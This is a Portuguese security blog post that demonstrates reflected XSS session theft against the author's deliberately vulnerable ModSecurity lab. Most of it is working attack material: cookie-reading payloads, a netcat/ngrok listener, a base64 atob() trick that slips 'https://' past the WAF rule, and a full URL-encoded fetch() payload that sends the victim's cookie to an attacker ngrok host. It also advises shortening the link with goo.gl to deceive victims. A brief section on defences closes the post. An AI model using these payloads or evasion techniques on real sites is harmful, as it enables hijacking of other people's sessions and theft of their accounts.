Roubo de sessão bypassando WAF com XSS — Roubando sessão com 1 click

VaultCyberSec
6 min readOct 17, 2019

--

By: Julio Lira

Sabemos que o ataque de XSS refletido é dado na requisição. Normalmente é explorado alguma requisição que exibe na página o conteúdo enviado, daí facilmente qualquer pokemon com um teclado consegue fazer muita brincadeira.

Com tudo isso é possível fazer de uma página com alguma informação falsa (para ser usado como engenharia social) ou até mesmo algo mais complexo como um roubo de cookie ou Oauth, em outras palavras: Roubo de sessão.

XSS Reflected

Vamos as formas de explorar, bypassando o firewall e em seguida explicarei formas de solucionar esse problema.

Web Application Firewall (WAF)

Usar o WAF deve ser um ritual ao configurar qualquer aplicação, o WAF será responsável por tratar as requisições e identificar possíveis ataques e formas maliciosas de conexão através de qualquer parte da aplicação.

WAF com snippets de configuração

É muito comum ser instalado algum WAF onde seja utilizada a configuração padrão, sem ao menos ser feita alguma manutenção ou acréscimo de configurações utiliza-se então em ambientes de produção, confiante de que realmente está seguro.

Normalmente ao configurar WAFs, são usadas expressões regulares e padrões que definem quais conexões são maliciosas ou não. Também é comum vermos padrões de segurança que estão nas notas da empresa instruindo que devem ser usadas, é o caso de nossa imagem docker montada por mim propositalmente e que iremos explorar.

Cenário

Criei uma simples imagem docker que rodava uma aplicação Node, em um Nginx compilado com o WAF Modsecurity, me aproveitei da configuração padrão e então acrescentei a seguinte configuração:

SecRule ARGS "@rx (?i)(ht|f)tp(s?)://" "id:'666', t:none, deny"

A regra é muito simples, que tem o objetivo de bloquear qualquer ataque de DNS ou roubo de sessão através de algum possível XSS na página. Pois bem, com o padrão da versão usada no teste o site está vulnerável a XSS.

Na aplicação temos um erro proposital, mas que em um complexo sistema de alguma empresa poderia passar em branco (que é muito comum).

Script que pega conteúdo enviado do GET e exibe, salvando também um cookie estático

No script veja que além de exibir o conteúdo da mensagem sem nenhum tratamento, é armazenado também o cookie na sessão do cliente.

O exemplo é comumente reproduzido em PHP, usei Node pra mostrar que o erro não é apenas dada de uma linguagem em específico (como já ouvi falar). O erro pode ser reproduzido em qualquer outra linguagem.

Normalmente usado em pesquisas, meu termos digitados são exibidos (No caso sem nenhum tratamento)

E enviando a tag de uma imagem com o evento de de erro que executará algum código Javascript, envando:

<img src=x onerror="alert('xss')"/>

Então seguiremos nosso ataque, o ambiente simula alguma zona que utiliza o cookie como sessão (Também é outra falha muito comum), então vamos nosso ataque.

Para capturar o cookie usaremos do javascript o registros “document.cookie”, dessa forma:

<img src=x onerror='alert(document.cookie)'/>

Também podemos pegar o user-agent, dessa forma:

<img src=x onerror='alert(navigator.userAgent)'/>

Então, já temos ótimos registros obtidos dessa vulnerabilidade, mas uma questão é: Como então poderemos enviar para um atacante? Todo esse ataque é em vão se nada desses dados ficarem salvos.

Então iremos usar o nosso servidor, ou simplesmente o Ngrok (que é o meu caso do artigo). O servidor atacante pode ter uma API que salve os dados de seu alvo, ou pode apenas deixar armazenado em seus logs. Vamos a pratica:

Em principio, vamos enviar apenas o IP da vítima, através do log, acessando:

<img src='https://4eee40df.ngrok.io'/>

O endereço acima requisitado como fonte da imagem foi o que recebi usando o ngrok, e para receber esse acesso abri uma porta e mantive escutando através do netcat, executei basicamente:

nc -lvp 8080 && ./ngrok http 8080

Página não autorizada, por conter “https://”

O envio dos dados é de altíssima importância e é justamente isso que não é possível, por não puder direcionar nenhum endereço se quer que será enviado.

O ataque funciona da seguinte forma:

session hijacking, Roubo de sessão, Vault, VaultCyberSecurity, VaultSecurity, Session XSS attack
Nosso ataque

Portanto, a ultima etapa não consegue ser concluída por não conseguirmos setar nenhum endereço. Mas aí entra o pulo do gato hacker!

Vemos que os ataques no geral funcionam em nosso ambiente, a única coisa que não funciona é a palavra “http(s)”, justamente para bloquear o envio.

Mas se notarmos antes mesmo de enviar ele pode interpretar JS na própria página, então vamos analisar com calma.

O Javascript possui funções responsável por encriptar e decriptar usando base64, a função btoa e atob. Essas funções nos ajudarão fazer passar as palavras não permitidas de forma encriptada e em seguida interpretará, conseguindo assim concluir o ultimo passo.

Vamos fazer assim, escrever na página uma requisição acessando minha URL e levando como parâmetro o cookie. Calma, falando assim parece muito complicado. Mas veja o código que faremos ser impresso na página, em Javascript:

fetch("https://4eee40df.ngrok.io/?dados=<cookie>")

Após conseguirmos o ataque, veremos uma solução pra não aparentar ser o link malicioso e a vítima atacada.

Se testarmos agora ainda receberemos o 403, mas com nossa técnica, vamos encriptar nossas expressões que não são autorizadas em base64. Usando o terminal podemos encriptar assim:

printf 'https://' | base64

Ou mesmo através do navegador, no console:

btoa('https://')

E assim obtemos nossa expressão em base64 “aHR0cHM6Ly8=”, usando a função “atob” do javascript é possível decriptar. Então partiremos ao nosso URL:

<script>
fetch(`https://055a6e99.ngrok.io/?dados=${document.cookie}`)
</script>

Usando crases é possível concatenar utilizando ${…}, isso facilita pra a compreensão do código

Mas encriptando nossa parte usando o atob, temos então nossa URL, assim:

<script>
fetch(`${atob('aHR0cHM6Ly8=')}055a6e99.ngrok.io/?dados=${document.cookie}`)
</script>

E então pondo ela na URL, adicionando qualquer texto após o script, é possível simularmos o envio comum de um comentário, sem levantar suspeitos do atacado:

https://localhost/?comment=%3Cscript%3Efetch(%60$%7Batob(%27aHR0cHM6Ly8=%27)%7D055a6e99.ngrok.io/?dados=$%7Bdocument.cookie%7D%60)%3C/script%3EAinda+bem+que+aqui+nao+tem+xss
Vault, VaulcyberSecurity, XSS, cross-scripting, Julio Lira, Ataque
Ataque XSS realizado com sucesso

E na visualização do ngrok (disponível em localhost:4040) é posssível ver de forma mais clara nosso cookie:

Roubo de sessão, ngrok, visualização, VaultCyberSecurity, Julio Lira
Roubo de sessão, visualização do ngrok

E no cabeçalho podemos também pegar informações como IP e user-agent.

E para concluir nosso ataque de forma perfeita, podemos ainda encurtar a URL e em seguida podemos enviar para qualquer pessoa, dessa forma conseguiremos concluir todas as etapas para o roubo da sessão 😎. Usando o https://goo.gl/ é possível encurtar de forma que nem levante suspeitos do que a URL se trata, e enfim não será tão complicado fazer nossa engenharia social.

Solução

Diante de um problema como esse, a solução é:

  • Tratar os dados recebidos pela requisição

Você pode fazer em qualquer linguagem e é uma boa prática a ser seguida, impedir a vulnerabilidade pela raiz!

  • Usar algum WAF

Isso é decisivo para sua segurança, um WAF atualizado dependendo do caso conseguirá impedir até mesmo formas de ataques ainda não exploradas

E se você tem um ModSecurity com as configurações de instalação assim como a do artigo use o Owasp Core Rule Set (CRS).

break WAF, quebrando firewall, Vault cyber security, Julio lira
Quebrando WAF com XSS

A imagem docker está disponível em: github.com/jul10l1r4/Modsec-vulneravel

--

--